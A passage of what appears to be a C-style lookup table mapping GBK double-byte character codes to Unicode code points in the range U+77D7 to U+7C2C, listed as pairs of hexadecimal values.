{0xa3b4,0x77d7},{0x98b2,0x77d8},{0x99b2,0x77d9},{0x9ab2,0x77da},{0xacc3,0x77db},
{0xe6f1,0x77dc},{0x9bb2,0x77dd},{0x9cb2,0x77de},{0x9db2,0x77df},{0x9eb2,0x77e0},
{0x9fb2,0x77e1},{0xb8ca,0x77e2},{0xd3d2,0x77e3},{0xa0b2,0x77e4},{0xaad6,0x77e5},
{0x40b3,0x77e6},{0xf2ef,0x77e7},{0x41b3,0x77e8},{0xd8be,0x77e9},{0x42b3,0x77ea},
{0xc3bd,0x77eb},{0xf3ef,0x77ec},{0xccb6,0x77ed},{0xabb0,0x77ee},{0x43b3,0x77ef},
{0x44b3,0x77f0},{0x45b3,0x77f1},{0x46b3,0x77f2},{0xafca,0x77f3},{0x47b3,0x77f4},
{0x48b3,0x77f5},{0xb6ed,0x77f6},{0x49b3,0x77f7},{0xb7ed,0x77f8},{0x4ab3,0x77f9},
{0x4bb3,0x77fa},{0x4cb3,0x77fb},{0x4db3,0x77fc},{0xf9ce,0x77fd},{0xafb7,0x77fe},
{0xb8ed,0x7800},{0xebc2,0x7801},{0xb0c9,0x7802},{0x4eb3,0x7803},{0x4fb3,0x7804},
{0x50b3,0x7805},{0x51b3,0x7806},{0x52b3,0x7807},{0x53b3,0x7808},{0xb9ed,0x7809},
{0x54b3,0x780a},{0x55b3,0x780b},{0xf6c6,0x780c},{0xb3bf,0x780d},{0x56b3,0x780e},
{0x57b3,0x780f},{0x58b3,0x7810},{0xbced,0x7811},{0xf8c5,0x7812},{0x59b3,0x7813},
{0xd0d1,0x7814},{0x5ab3,0x7815},{0xa9d7,0x7816},{0xbaed,0x7817},{0xbbed,0x7818},
{0x5bb3,0x7819},{0xe2d1,0x781a},{0x5cb3,0x781b},{0xbfed,0x781c},{0xc0ed,0x781d},
{0x5db3,0x781e},{0xc4ed,0x781f},{0x5eb3,0x7820},{0x5fb3,0x7821},{0x60b3,0x7822},
{0xc8ed,0x7823},{0x61b3,0x7824},{0xc6ed,0x7825},{0xceed,0x7826},{0xe8d5,0x7827},
{0x62b3,0x7828},{0xc9ed,0x7829},{0x63b3,0x782a},{0x64b3,0x782b},{0xc7ed,0x782c},
{0xbeed,0x782d},{0x65b3,0x782e},{0x66b3,0x782f},{0xe9c5,0x7830},{0x67b3,0x7831},
{0x68b3,0x7832},{0x69b3,0x7833},{0xc6c6,0x7834},{0x6ab3,0x7835},{0x6bb3,0x7836},
{0xe9c9,0x7837},{0xd2d4,0x7838},{0xc1ed,0x7839},{0xc2ed,0x783a},{0xc3ed,0x783b},
{0xc5ed,0x783c},{0x6cb3,0x783d},{0xf9c0,0x783e},{0x6db3,0x783f},{0xa1b4,0x7840},
{0x6eb3,0x7841},{0x6fb3,0x7842},{0x70b3,0x7843},{0x71b3,0x7844},{0xe8b9,0x7845},
{0x72b3,0x7846},{0xd0ed,0x7847},{0x73b3,0x7848},{0x74b3,0x7849},{0x75b3,0x784a},
{0x76b3,0x784b},{0xd1ed,0x784c},{0x77b3,0x784d},{0xcaed,0x784e},{0x78b3,0x784f},
{0xcfed,0x7850},{0x79b3,0x7851},{0xf8ce,0x7852},{0x7ab3,0x7853},{0x7bb3,0x7854},
{0xb6cb,0x7855},{0xcced,0x7856},{0xcded,0x7857},{0x7cb3,0x7858},{0x7db3,0x7859},
{0x7eb3,0x785a},{0x80b3,0x785b},{0x81b3,0x785c},{0xf5cf,0x785d},{0x82b3,0x785e},
{0x83b3,0x785f},{0x84b3,0x7860},{0x85b3,0x7861},{0x86b3,0x7862},{0x87b3,0x7863},
{0x88b3,0x7864},{0x89b3,0x7865},{0x8ab3,0x7866},{0x8bb3,0x7867},{0x8cb3,0x7868},
{0x8db3,0x7869},{0xd2ed,0x786a},{0xf2c1,0x786b},{0xb2d3,0x786c},{0xcbed,0x786d},
{0xb7c8,0x786e},{0x8eb3,0x786f},{0x8fb3,0x7870},{0x90b3,0x7871},{0x91b3,0x7872},
{0x92b3,0x7873},{0x93b3,0x7874},{0x94b3,0x7875},{0x95b3,0x7876},{0xefbc,0x7877},
{0x96b3,0x7878},{0x97b3,0x7879},{0x98b3,0x787a},{0x99b3,0x787b},{0xf0c5,0x787c},
{0x9ab3,0x787d},{0x9bb3,0x787e},{0x9cb3,0x787f},{0x9db3,0x7880},{0x9eb3,0x7881},
{0x9fb3,0x7882},{0xa0b3,0x7883},{0x40b4,0x7884},{0x41b4,0x7885},{0x42b4,0x7886},
{0xd6ed,0x7887},{0x43b4,0x7888},{0xefb5,0x7889},{0x44b4,0x788a},{0x45b4,0x788b},
{0xb5c2,0x788c},{0xadb0,0x788d},{0xe9cb,0x788e},{0x46b4,0x788f},{0x47b4,0x7890},
{0xaeb1,0x7891},{0x48b4,0x7892},{0xd4ed,0x7893},{0x49b4,0x7894},{0x4ab4,0x7895},
{0x4bb4,0x7896},{0xebcd,0x7897},{0xe2b5,0x7898},{0x4cb4,0x7899},{0xd5ed,0x789a},
{0xd3ed,0x789b},{0xd7ed,0x789c},{0x4db4,0x789d},{0x4eb4,0x789e},{0xfab5,0x789f},
{0x4fb4,0x78a0},{0xd8ed,0x78a1},{0x50b4,0x78a2},{0xd9ed,0x78a3},{0x51b4,0x78a4},
{0xdced,0x78a5},{0x52b4,0x78a6},{0xccb1,0x78a7},{0x53b4,0x78a8},{0x54b4,0x78a9},
{0x55b4,0x78aa},{0x56b4,0x78ab},{0x57b4,0x78ac},{0x58b4,0x78ad},{0x59b4,0x78ae},
{0x5ab4,0x78af},{0xf6c5,0x78b0},{0xeebc,0x78b1},{0xdaed,0x78b2},{0xbccc,0x78b3},
{0xeab2,0x78b4},{0x5bb4,0x78b5},{0x5cb4,0x78b6},{0x5db4,0x78b7},{0x5eb4,0x78b8},
{0xdbed,0x78b9},{0x5fb4,0x78ba},{0x60b4,0x78bb},{0x61b4,0x78bc},{0x62b4,0x78bd},
{0xebc4,0x78be},{0x63b4,0x78bf},{0x64b4,0x78c0},{0xc5b4,0x78c1},{0x65b4,0x78c2},
{0x66b4,0x78c3},{0x67b4,0x78c4},{0xf5b0,0x78c5},{0x68b4,0x78c6},{0x69b4,0x78c7},
{0x6ab4,0x78c8},{0xdfed,0x78c9},{0xdac0,0x78ca},{0xe8b4,0x78cb},{0x6bb4,0x78cc},
{0x6cb4,0x78cd},{0x6db4,0x78ce},{0x6eb4,0x78cf},{0xcdc5,0x78d0},{0x6fb4,0x78d1},
{0x70b4,0x78d2},{0x71b4,0x78d3},{0xdded,0x78d4},{0xc4bf,0x78d5},{0x72b4,0x78d6},
{0x73b4,0x78d7},{0x74b4,0x78d8},{0xdeed,0x78d9},{0x75b4,0x78da},{0x76b4,0x78db},
{0x77b4,0x78dc},{0x78b4,0x78dd},{0x79b4,0x78de},{0x7ab4,0x78df},{0x7bb4,0x78e0},
{0x7cb4,0x78e1},{0x7db4,0x78e2},{0x7eb4,0x78e3},{0x80b4,0x78e4},{0x81b4,0x78e5},
{0x82b4,0x78e6},{0x83b4,0x78e7},{0xa5c4,0x78e8},{0x84b4,0x78e9},{0x85b4,0x78ea},
{0x86b4,0x78eb},{0xe0ed,0x78ec},{0x87b4,0x78ed},{0x88b4,0x78ee},{0x89b4,0x78ef},
{0x8ab4,0x78f0},{0x8bb4,0x78f1},{0xe1ed,0x78f2},{0x8cb4,0x78f3},{0xe3ed,0x78f4},
{0x8db4,0x78f5},{0x8eb4,0x78f6},{0xd7c1,0x78f7},{0x8fb4,0x78f8},{0x90b4,0x78f9},
{0xc7bb,0x78fa},{0x91b4,0x78fb},{0x92b4,0x78fc},{0x93b4,0x78fd},{0x94b4,0x78fe},
{0x96b4,0x7900},{0xb8bd,0x7901},{0x97b4,0x7902},{0x98b4,0x7903},{0x99b4,0x7904},
{0xe2ed,0x7905},{0x9ab4,0x7906},{0x9bb4,0x7907},{0x9cb4,0x7908},{0x9db4,0x7909},
{0x9eb4,0x790a},{0x9fb4,0x790b},{0xa0b4,0x790c},{0x40b5,0x790d},{0x41b5,0x790e},
{0x42b5,0x790f},{0x43b5,0x7910},{0x44b5,0x7911},{0x45b5,0x7912},{0xe4ed,0x7913},
{0x46b5,0x7914},{0x47b5,0x7915},{0x48b5,0x7916},{0x49b5,0x7917},{0x4ab5,0x7918},
{0x4bb5,0x7919},{0x4cb5,0x791a},{0x4db5,0x791b},{0x4eb5,0x791c},{0x4fb5,0x791d},
{0xe6ed,0x791e},{0x50b5,0x791f},{0x51b5,0x7920},{0x52b5,0x7921},{0x53b5,0x7922},
{0x54b5,0x7923},{0xe5ed,0x7924},{0x55b5,0x7925},{0x56b5,0x7926},{0x57b5,0x7927},
{0x58b5,0x7928},{0x59b5,0x7929},{0x5ab5,0x792a},{0x5bb5,0x792b},{0x5cb5,0x792c},
{0x5db5,0x792d},{0x5eb5,0x792e},{0x5fb5,0x792f},{0x60b5,0x7930},{0x61b5,0x7931},
{0x62b5,0x7932},{0x63b5,0x7933},{0xe7ed,0x7934},{0x64b5,0x7935},{0x65b5,0x7936},
{0x66b5,0x7937},{0x67b5,0x7938},{0x68b5,0x7939},{0xbeca,0x793a},{0xeaec,0x793b},
{0xf1c0,0x793c},{0x69b5,0x793d},{0xe7c9,0x793e},{0x6ab5,0x793f},{0xebec,0x7940},
{0xeec6,0x7941},{0x6bb5,0x7942},{0x6cb5,0x7943},{0x6db5,0x7944},{0x6eb5,0x7945},
{0xecec,0x7946},{0x6fb5,0x7947},{0xedc6,0x7948},{0xedec,0x7949},{0x70b5,0x794a},
{0x71b5,0x794b},{0x72b5,0x794c},{0x73b5,0x794d},{0x74b5,0x794e},{0x75b5,0x794f},
{0x76b5,0x7950},{0x77b5,0x7951},{0x78b5,0x7952},{0xf0ec,0x7953},{0x79b5,0x7954},
{0x7ab5,0x7955},{0xe6d7,0x7956},{0xf3ec,0x7957},{0x7bb5,0x7958},{0x7cb5,0x7959},
{0xf1ec,0x795a},{0xeeec,0x795b},{0xefec,0x795c},{0xa3d7,0x795d},{0xf1c9,0x795e},
{0xeecb,0x795f},{0xf4ec,0x7960},{0x7db5,0x7961},{0xf2ec,0x7962},{0x7eb5,0x7963},
{0x80b5,0x7964},{0xe9cf,0x7965},{0x81b5,0x7966},{0xf6ec,0x7967},{0xb1c6,0x7968},
{0x82b5,0x7969},{0x83b5,0x796a},{0x84b5,0x796b},{0x85b5,0x796c},{0xc0bc,0x796d},
{0x86b5,0x796e},{0xf5ec,0x796f},{0x87b5,0x7970},{0x88b5,0x7971},{0x89b5,0x7972},
{0x8ab5,0x7973},{0x8bb5,0x7974},{0x8cb5,0x7975},{0x8db5,0x7976},{0xbbb5,0x7977},
{0xf6bb,0x7978},{0x8eb5,0x7979},{0xf7ec,0x797a},{0x8fb5,0x797b},{0x90b5,0x797c},
{0x91b5,0x797d},{0x92b5,0x797e},{0x93b5,0x797f},{0xf7d9,0x7980},{0xfbbd,0x7981},
{0x94b5,0x7982},{0x95b5,0x7983},{0xbbc2,0x7984},{0xf8ec,0x7985},{0x96b5,0x7986},
{0x97b5,0x7987},{0x98b5,0x7988},{0x99b5,0x7989},{0xf9ec,0x798a},{0x9ab5,0x798b},
{0x9bb5,0x798c},{0x9cb5,0x798d},{0x9db5,0x798e},{0xa3b8,0x798f},{0x9eb5,0x7990},
{0x9fb5,0x7991},{0xa0b5,0x7992},{0x40b6,0x7993},{0x41b6,0x7994},{0x42b6,0x7995},
{0x43b6,0x7996},{0x44b6,0x7997},{0x45b6,0x7998},{0x46b6,0x7999},{0xfaec,0x799a},
{0x47b6,0x799b},{0x48b6,0x799c},{0x49b6,0x799d},{0x4ab6,0x799e},{0x4bb6,0x799f},
{0x4cb6,0x79a0},{0x4db6,0x79a1},{0x4eb6,0x79a2},{0x4fb6,0x79a3},{0x50b6,0x79a4},
{0x51b6,0x79a5},{0x52b6,0x79a6},{0xfbec,0x79a7},{0x53b6,0x79a8},{0x54b6,0x79a9},
{0x55b6,0x79aa},{0x56b6,0x79ab},{0x57b6,0x79ac},{0x58b6,0x79ad},{0x59b6,0x79ae},
{0x5ab6,0x79af},{0x5bb6,0x79b0},{0x5cb6,0x79b1},{0x5db6,0x79b2},{0xfcec,0x79b3},
{0x5eb6,0x79b4},{0x5fb6,0x79b5},{0x60b6,0x79b6},{0x61b6,0x79b7},{0x62b6,0x79b8},
{0xedd3,0x79b9},{0xaed8,0x79ba},{0xebc0,0x79bb},{0x63b6,0x79bc},{0xddc7,0x79bd},
{0xccba,0x79be},{0x64b6,0x79bf},{0xe3d0,0x79c0},{0xbdcb,0x79c1},{0x65b6,0x79c2},
{0xbacd,0x79c3},{0x66b6,0x79c4},{0x67b6,0x79c5},{0xd1b8,0x79c6},{0x68b6,0x79c7},
{0x69b6,0x79c8},{0xfcb1,0x79c9},{0x6ab6,0x79ca},{0xefc7,0x79cb},{0x6bb6,0x79cc},
{0xd6d6,0x79cd},{0x6cb6,0x79ce},{0x6db6,0x79cf},{0x6eb6,0x79d0},{0xc6bf,0x79d1},
{0xebc3,0x79d2},{0x6fb6,0x79d3},{0x70b6,0x79d4},{0xf5ef,0x79d5},{0x71b6,0x79d6},
{0x72b6,0x79d7},{0xd8c3,0x79d8},{0x73b6,0x79d9},{0x74b6,0x79da},{0x75b6,0x79db},
{0x76b6,0x79dc},{0x77b6,0x79dd},{0x78b6,0x79de},{0xe2d7,0x79df},{0x79b6,0x79e0},
{0x7ab6,0x79e1},{0x7bb6,0x79e2},{0xf7ef,0x79e3},{0xd3b3,0x79e4},{0x7cb6,0x79e5},
{0xd8c7,0x79e6},{0xedd1,0x79e7},{0x7db6,0x79e8},{0xc8d6,0x79e9},{0x7eb6,0x79ea},
{0xf8ef,0x79eb},{0x80b6,0x79ec},{0xf6ef,0x79ed},{0x81b6,0x79ee},{0xfdbb,0x79ef},
{0xc6b3,0x79f0},{0x82b6,0x79f1},{0x83b6,0x79f2},{0x84b6,0x79f3},{0x85b6,0x79f4},
{0x86b6,0x79f5},{0x87b6,0x79f6},{0x88b6,0x79f7},{0xd5bd,0x79f8},{0x89b6,0x79f9},
{0x8ab6,0x79fa},{0xc6d2,0x79fb},{0x8bb6,0x79fc},{0xe0bb,0x79fd},{0x8cb6,0x79fe},
{0xa1cf,0x7a00},{0x8eb6,0x7a01},{0xfcef,0x7a02},{0xfbef,0x7a03},{0x8fb6,0x7a04},
{0x90b6,0x7a05},{0xf9ef,0x7a06},{0x91b6,0x7a07},{0x92b6,0x7a08},{0x93b6,0x7a09},
{0x94b6,0x7a0a},{0xccb3,0x7a0b},{0x95b6,0x7a0c},{0xd4c9,0x7a0d},{0xb0cb,0x7a0e},
{0x96b6,0x7a0f},{0x97b6,0x7a10},{0x98b6,0x7a11},{0x99b6,0x7a12},{0x9ab6,0x7a13},
{0xfeef,0x7a14},{0x9bb6,0x7a15},{0x9cb6,0x7a16},{0xdeb0,0x7a17},{0x9db6,0x7a18},
{0x9eb6,0x7a19},{0xc9d6,0x7a1a},{0x9fb6,0x7a1b},{0xa0b6,0x7a1c},{0x40b7,0x7a1d},
{0xfdef,0x7a1e},{0x41b7,0x7a1f},{0xedb3,0x7a20},{0x42b7,0x7a21},{0x43b7,0x7a22},
{0xd5f6,0x7a23},{0x44b7,0x7a24},{0x45b7,0x7a25},{0x46b7,0x7a26},{0x47b7,0x7a27},
{0x48b7,0x7a28},{0x49b7,0x7a29},{0x4ab7,0x7a2a},{0x4bb7,0x7a2b},{0x4cb7,0x7a2c},
{0x4db7,0x7a2d},{0x4eb7,0x7a2e},{0x4fb7,0x7a2f},{0x50b7,0x7a30},{0x51b7,0x7a31},
{0x52b7,0x7a32},{0xc8ce,0x7a33},{0x53b7,0x7a34},{0x54b7,0x7a35},{0x55b7,0x7a36},
{0xa2f0,0x7a37},{0x56b7,0x7a38},{0xa1f0,0x7a39},{0x57b7,0x7a3a},{0xbeb5,0x7a3b},
{0xdabc,0x7a3c},{0xfcbb,0x7a3d},{0x58b7,0x7a3e},{0xe5b8,0x7a3f},{0x59b7,0x7a40},
{0x5ab7,0x7a41},{0x5bb7,0x7a42},{0x5cb7,0x7a43},{0x5db7,0x7a44},{0x5eb7,0x7a45},
{0xc2c4,0x7a46},{0x5fb7,0x7a47},{0x60b7,0x7a48},{0x61b7,0x7a49},{0x62b7,0x7a4a},
{0x63b7,0x7a4b},{0x64b7,0x7a4c},{0x65b7,0x7a4d},{0x66b7,0x7a4e},{0x67b7,0x7a4f},
{0x68b7,0x7a50},{0xa3f0,0x7a51},{0x69b7,0x7a52},{0x6ab7,0x7a53},{0x6bb7,0x7a54},
{0x6cb7,0x7a55},{0x6db7,0x7a56},{0xebcb,0x7a57},{0x6eb7,0x7a58},{0x6fb7,0x7a59},
{0x70b7,0x7a5a},{0x71b7,0x7a5b},{0x72b7,0x7a5c},{0x73b7,0x7a5d},{0x74b7,0x7a5e},
{0x75b7,0x7a5f},{0x76b7,0x7a60},{0x77b7,0x7a61},{0x78b7,0x7a62},{0x79b7,0x7a63},
{0x7ab7,0x7a64},{0x7bb7,0x7a65},{0x7cb7,0x7a66},{0x7db7,0x7a67},{0x7eb7,0x7a68},
{0x80b7,0x7a69},{0x81b7,0x7a6a},{0x82b7,0x7a6b},{0x83b7,0x7a6c},{0x84b7,0x7a6d},
{0x85b7,0x7a6e},{0x86b7,0x7a6f},{0xa6f0,0x7a70},{0x87b7,0x7a71},{0x88b7,0x7a72},
{0x89b7,0x7a73},{0xa8d1,0x7a74},{0x8ab7,0x7a75},{0xbfbe,0x7a76},{0xeec7,0x7a77},
{0xb6f1,0x7a78},{0xb7f1,0x7a79},{0xd5bf,0x7a7a},{0x8bb7,0x7a7b},{0x8cb7,0x7a7c},
{0x8db7,0x7a7d},{0x8eb7,0x7a7e},{0xa9b4,0x7a7f},{0xb8f1,0x7a80},{0xbbcd,0x7a81},
{0x8fb7,0x7a82},{0xd4c7,0x7a83},{0xadd5,0x7a84},{0x90b7,0x7a85},{0xb9f1,0x7a86},
{0x91b7,0x7a87},{0xbaf1,0x7a88},{0x92b7,0x7a89},{0x93b7,0x7a8a},{0x94b7,0x7a8b},
{0x95b7,0x7a8c},{0xcfc7,0x7a8d},{0x96b7,0x7a8e},{0x97b7,0x7a8f},{0x98b7,0x7a90},
{0xa4d2,0x7a91},{0xcfd6,0x7a92},{0x99b7,0x7a93},{0x9ab7,0x7a94},{0xbbf1,0x7a95},
{0xd1bd,0x7a96},{0xb0b4,0x7a97},{0xbdbe,0x7a98},{0x9bb7,0x7a99},{0x9cb7,0x7a9a},
{0x9db7,0x7a9b},{0xdcb4,0x7a9c},{0xd1ce,0x7a9d},{0x9eb7,0x7a9e},{0xdfbf,0x7a9f},
{0xbdf1,0x7aa0},{0x9fb7,0x7aa1},{0xa0b7,0x7aa2},{0x40b8,0x7aa3},{0x41b8,0x7aa4},
{0xfabf,0x7aa5},{0xbcf1,0x7aa6},{0x42b8,0x7aa7},{0xbff1,0x7aa8},{0x43b8,0x7aa9},
{0x44b8,0x7aaa},{0x45b8,0x7aab},{0xbef1,0x7aac},{0xc0f1,0x7aad},{0x46b8,0x7aae},
{0x47b8,0x7aaf},{0x48b8,0x7ab0},{0x49b8,0x7ab1},{0x4ab8,0x7ab2},{0xc1f1,0x7ab3},
{0x4bb8,0x7ab4},{0x4cb8,0x7ab5},{0x4db8,0x7ab6},{0x4eb8,0x7ab7},{0x4fb8,0x7ab8},
{0x50b8,0x7ab9},{0x51b8,0x7aba},{0x52b8,0x7abb},{0x53b8,0x7abc},{0x54b8,0x7abd},
{0x55b8,0x7abe},{0xfec1,0x7abf},{0x56b8,0x7ac0},{0x57b8,0x7ac1},{0x58b8,0x7ac2},
{0x59b8,0x7ac3},{0x5ab8,0x7ac4},{0x5bb8,0x7ac5},{0x5cb8,0x7ac6},{0x5db8,0x7ac7},
{0x5eb8,0x7ac8},{0x5fb8,0x7ac9},{0x60b8,0x7aca},{0xa2c1,0x7acb},{0x61b8,0x7acc},
{0x62b8,0x7acd},{0x63b8,0x7ace},{0x64b8,0x7acf},{0x65b8,0x7ad0},{0x66b8,0x7ad1},
{0x67b8,0x7ad2},{0x68b8,0x7ad3},{0x69b8,0x7ad4},{0x6ab8,0x7ad5},{0xfaca,0x7ad6},
{0x6bb8,0x7ad7},{0x6cb8,0x7ad8},{0xbed5,0x7ad9},{0x6db8,0x7ada},{0x6eb8,0x7adb},
{0x6fb8,0x7adc},{0x70b8,0x7add},{0xbabe,0x7ade},{0xb9be,0x7adf},{0xc2d5,0x7ae0},
{0x71b8,0x7ae1},{0x72b8,0x7ae2},{0xa2bf,0x7ae3},{0x73b8,0x7ae4},{0xafcd,0x7ae5},
{0xb5f1,0x7ae6},{0x74b8,0x7ae7},{0x75b8,0x7ae8},{0x76b8,0x7ae9},{0x77b8,0x7aea},
{0x78b8,0x7aeb},{0x79b8,0x7aec},{0xdfbd,0x7aed},{0x7ab8,0x7aee},{0xcbb6,0x7aef},
{0x7bb8,0x7af0},{0x7cb8,0x7af1},{0x7db8,0x7af2},{0x7eb8,0x7af3},{0x80b8,0x7af4},
{0x81b8,0x7af5},{0x82b8,0x7af6},{0x83b8,0x7af7},{0x84b8,0x7af8},{0xf1d6,0x7af9},
{0xc3f3,0x7afa},{0x85b8,0x7afb},{0x86b8,0x7afc},{0xc4f3,0x7afd},{0x87b8,0x7afe},
{0x88b8,0x7b00},{0x89b8,0x7b01},{0x8ab8,0x7b02},{0xc6f3,0x7b03},{0xc7f3,0x7b04},
{0x8bb8,0x7b05},{0xcab0,0x7b06},{0x8cb8,0x7b07},{0xc5f3,0x7b08},{0x8db8,0x7b09},
{0xc9f3,0x7b0a},{0xf1cb,0x7b0b},{0x8eb8,0x7b0c},{0x8fb8,0x7b0d},{0x90b8,0x7b0e},
{0xcbf3,0x7b0f},{0x91b8,0x7b10},{0xa6d0,0x7b11},{0x92b8,0x7b12},{0x93b8,0x7b13},
{0xcab1,0x7b14},{0xc8f3,0x7b15},{0x94b8,0x7b16},{0x95b8,0x7b17},{0x96b8,0x7b18},
{0xcff3,0x7b19},{0x97b8,0x7b1a},{0xd1b5,0x7b1b},{0x98b8,0x7b1c},{0x99b8,0x7b1d},
{0xd7f3,0x7b1e},{0x9ab8,0x7b1f},{0xd2f3,0x7b20},{0x9bb8,0x7b21},{0x9cb8,0x7b22},
{0x9db8,0x7b23},{0xd4f3,0x7b24},{0xd3f3,0x7b25},{0xfbb7,0x7b26},{0x9eb8,0x7b27},
{0xbfb1,0x7b28},{0x9fb8,0x7b29},{0xcef3,0x7b2a},{0xcaf3,0x7b2b},{0xdab5,0x7b2c},
{0xa0b8,0x7b2d},{0xd0f3,0x7b2e},{0x40b9,0x7b2f},{0x41b9,0x7b30},{0xd1f3,0x7b31},
{0x42b9,0x7b32},{0xd5f3,0x7b33},{0x43b9,0x7b34},{0x44b9,0x7b35},{0x45b9,0x7b36},
{0x46b9,0x7b37},{0xcdf3,0x7b38},{0x47b9,0x7b39},{0xe3bc,0x7b3a},{0x48b9,0x7b3b},
{0xfdc1,0x7b3c},{0x49b9,0x7b3d},{0xd6f3,0x7b3e},{0x4ab9,0x7b3f},{0x4bb9,0x7b40},
{0x4cb9,0x7b41},{0x4db9,0x7b42},{0x4eb9,0x7b43},{0x4fb9,0x7b44},{0xdaf3,0x7b45},
{0x50b9,0x7b46},{0xccf3,0x7b47},{0x51b9,0x7b48},{0xc8b5,0x7b49},{0x52b9,0x7b4a},
{0xeebd,0x7b4b},{0xdcf3,0x7b4c},{0x53b9,0x7b4d},{0x54b9,0x7b4e},{0xa4b7,0x7b4f},
{0xf0bf,0x7b50},{0xfed6,0x7b51},{0xb2cd,0x7b52},{0x55b9,0x7b53},{0xf0b4,0x7b54},
{0x56b9,0x7b55},{0xdfb2,0x7b56},{0x57b9,0x7b57},{0xd8f3,0x7b58},{0x58b9,0x7b59},
{0xd9f3,0x7b5a},{0xb8c9,0x7b5b},{0x59b9,0x7b5c},{0xddf3,0x7b5d},{0x5ab9,0x7b5e},
{0x5bb9,0x7b5f},{0xdef3,0x7b60},{0x5cb9,0x7b61},{0xe1f3,0x7b62},{0x5db9,0x7b63},
{0x5eb9,0x7b64},{0x5fb9,0x7b65},{0x60b9,0x7b66},{0x61b9,0x7b67},{0x62b9,0x7b68},
{0x63b9,0x7b69},{0x64b9,0x7b6a},{0x65b9,0x7b6b},{0x66b9,0x7b6c},{0x67b9,0x7b6d},
{0xdff3,0x7b6e},{0x68b9,0x7b6f},{0x69b9,0x7b70},{0xe3f3,0x7b71},{0xe2f3,0x7b72},
{0x6ab9,0x7b73},{0x6bb9,0x7b74},{0xdbf3,0x7b75},{0x6cb9,0x7b76},{0xeabf,0x7b77},
{0x6db9,0x7b78},{0xefb3,0x7b79},{0x6eb9,0x7b7a},{0xe0f3,0x7b7b},{0x6fb9,0x7b7c},
{0x70b9,0x7b7d},{0xa9c7,0x7b7e},{0x71b9,0x7b7f},{0xf2bc,0x7b80},{0x72b9,0x7b81},
{0x73b9,0x7b82},{0x74b9,0x7b83},{0x75b9,0x7b84},{0xebf3,0x7b85},{0x76b9,0x7b86},
{0x77b9,0x7b87},{0x78b9,0x7b88},{0x79b9,0x7b89},{0x7ab9,0x7b8a},{0x7bb9,0x7b8b},
{0x7cb9,0x7b8c},{0xbfb9,0x7b8d},{0x7db9,0x7b8e},{0x7eb9,0x7b8f},{0xe4f3,0x7b90},
{0x80b9,0x7b91},{0x81b9,0x7b92},{0x82b9,0x7b93},{0xadb2,0x7b94},{0xfebb,0x7b95},
{0x83b9,0x7b96},{0xe3cb,0x7b97},{0x84b9,0x7b98},{0x85b9,0x7b99},{0x86b9,0x7b9a},
{0x87b9,0x7b9b},{0xedf3,0x7b9c},{0xe9f3,0x7b9d},{0x88b9,0x7b9e},{0x89b9,0x7b9f},
{0x8ab9,0x7ba0},{0xdcb9,0x7ba1},{0xeef3,0x7ba2},{0x8bb9,0x7ba3},{0x8cb9,0x7ba4},
{0x8db9,0x7ba5},{0xe5f3,0x7ba6},{0xe6f3,0x7ba7},{0xeaf3,0x7ba8},{0xe1c2,0x7ba9},
{0xecf3,0x7baa},{0xeff3,0x7bab},{0xe8f3,0x7bac},{0xfdbc,0x7bad},{0x8eb9,0x7bae},
{0x8fb9,0x7baf},{0x90b9,0x7bb0},{0xe4cf,0x7bb1},{0x91b9,0x7bb2},{0x92b9,0x7bb3},
{0xf0f3,0x7bb4},{0x93b9,0x7bb5},{0x94b9,0x7bb6},{0x95b9,0x7bb7},{0xe7f3,0x7bb8},
{0x96b9,0x7bb9},{0x97b9,0x7bba},{0x98b9,0x7bbb},{0x99b9,0x7bbc},{0x9ab9,0x7bbd},
{0x9bb9,0x7bbe},{0x9cb9,0x7bbf},{0x9db9,0x7bc0},{0xf2f3,0x7bc1},{0x9eb9,0x7bc2},
{0x9fb9,0x7bc3},{0xa0b9,0x7bc4},{0x40ba,0x7bc5},{0xadd7,0x7bc6},{0xaac6,0x7bc7},
{0x41ba,0x7bc8},{0x42ba,0x7bc9},{0x43ba,0x7bca},{0x44ba,0x7bcb},{0xf3f3,0x7bcc},
{0x45ba,0x7bcd},{0x46ba,0x7bce},{0x47ba,0x7bcf},{0x48ba,0x7bd0},{0xf1f3,0x7bd1},
{0x49ba,0x7bd2},{0xa8c2,0x7bd3},{0x4aba,0x7bd4},{0x4bba,0x7bd5},{0x4cba,0x7bd6},
{0x4dba,0x7bd7},{0x4eba,0x7bd8},{0xddb8,0x7bd9},{0xf5f3,0x7bda},{0x4fba,0x7bdb},
{0x50ba,0x7bdc},{0xf4f3,0x7bdd},{0x51ba,0x7bde},{0x52ba,0x7bdf},{0x53ba,0x7be0},
{0xdbb4,0x7be1},{0x54ba,0x7be2},{0x55ba,0x7be3},{0x56ba,0x7be4},{0xf6f3,0x7be5},
{0xf7f3,0x7be6},{0x57ba,0x7be7},{0x58ba,0x7be8},{0x59ba,0x7be9},{0xf8f3,0x7bea},
{0x5aba,0x7beb},{0x5bba,0x7bec},{0x5cba,0x7bed},{0xbac0,0x7bee},{0x5dba,0x7bef},
{0x5eba,0x7bf0},{0xe9c0,0x7bf1},{0x5fba,0x7bf2},{0x60ba,0x7bf3},{0x61ba,0x7bf4},
{0x62ba,0x7bf5},{0x63ba,0x7bf6},{0xf1c5,0x7bf7},{0x64ba,0x7bf8},{0x65ba,0x7bf9},
{0x66ba,0x7bfa},{0x67ba,0x7bfb},{0xfbf3,0x7bfc},{0x68ba,0x7bfd},{0xfaf3,0x7bfe},
{0x6aba,0x7c00},{0x6bba,0x7c01},{0x6cba,0x7c02},{0x6dba,0x7c03},{0x6eba,0x7c04},
{0x6fba,0x7c05},{0x70ba,0x7c06},{0xd8b4,0x7c07},{0x71ba,0x7c08},{0x72ba,0x7c09},
{0x73ba,0x7c0a},{0xfef3,0x7c0b},{0xf9f3,0x7c0c},{0x74ba,0x7c0d},{0x75ba,0x7c0e},
{0xfcf3,0x7c0f},{0x76ba,0x7c10},{0x77ba,0x7c11},{0x78ba,0x7c12},{0x79ba,0x7c13},
{0x7aba,0x7c14},{0x7bba,0x7c15},{0xfdf3,0x7c16},{0x7cba,0x7c17},{0x7dba,0x7c18},
{0x7eba,0x7c19},{0x80ba,0x7c1a},{0x81ba,0x7c1b},{0x82ba,0x7c1c},{0x83ba,0x7c1d},
{0x84ba,0x7c1e},{0xa1f4,0x7c1f},{0x85ba,0x7c20},{0x86ba,0x7c21},{0x87ba,0x7c22},
{0x88ba,0x7c23},{0x89ba,0x7c24},{0x8aba,0x7c25},{0xa3f4,0x7c26},{0xc9bb,0x7c27},
{0x8bba,0x7c28},{0x8cba,0x7c29},{0xa2f4,0x7c2a},{0x8dba,0x7c2b},{0x8eba,0x7c2c},
